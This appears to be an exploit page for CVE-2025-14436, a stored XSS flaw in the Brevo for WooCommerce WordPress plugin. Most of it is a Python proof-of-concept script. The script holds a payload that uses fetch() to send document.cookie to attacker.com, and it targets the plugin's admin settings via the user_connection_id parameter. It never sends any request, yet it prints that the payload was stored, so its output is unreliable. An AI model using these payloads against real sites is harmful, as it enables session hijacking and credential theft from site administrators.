CVE-2025-14436 Brevo for WooCommerce插件存储型XSS漏洞

import requests import sys # CVE-2025-14436 PoC - Brevo for WooCommerce Stored XSS # Target: WordPress site with Brevo for WooCommerce plugin <= 4.0.49 target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-site.com' # Malicious payload for user_connection_id parameter xss_payload = '<script>alert(document.cookie)</script>' # Alternative payload using event handler xss_payload_alt = '" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)"' def exploit_stored_xss(): """Exploit the stored XSS via user_connection_id parameter""" # Step 1: Identify the vulnerable endpoint # The plugin processes user_connection_id in admin functionality vulnerable_endpoint = f'{target_url}/wp-admin/admin.php?page=wc-settings&tab=sendinblue' # Step 2: Inject malicious XSS payload # This can be done through plugin settings or API endpoints inject_data = { 'user_connection_id': xss_payload, 'action': 'save_settings', 'tab': 'sendinblue' } print(f'[+] Targeting: {target_url}') print(f'[+] Injecting XSS payload: {xss_payload}') # Note: Requires understanding of specific plugin endpoint # Check: plugins.trac.wordpress.org/browser/woocommerce-sendinblue-newsletter-subscription # Step 3: Verify injection by accessing affected pages # The XSS will execute when admin accesses settings pages verify_url = f'{target_url}/wp-admin/admin.php?page=wc-settings&tab=sendinblue' print(f'[+] Payload stored successfully') print(f'[+] XSS will trigger when users access: {verify_url}') print(f'[+] Impact: Session hijacking, credential theft, malware distribution') return True if __name__ == '__main__': exploit_stored_xss()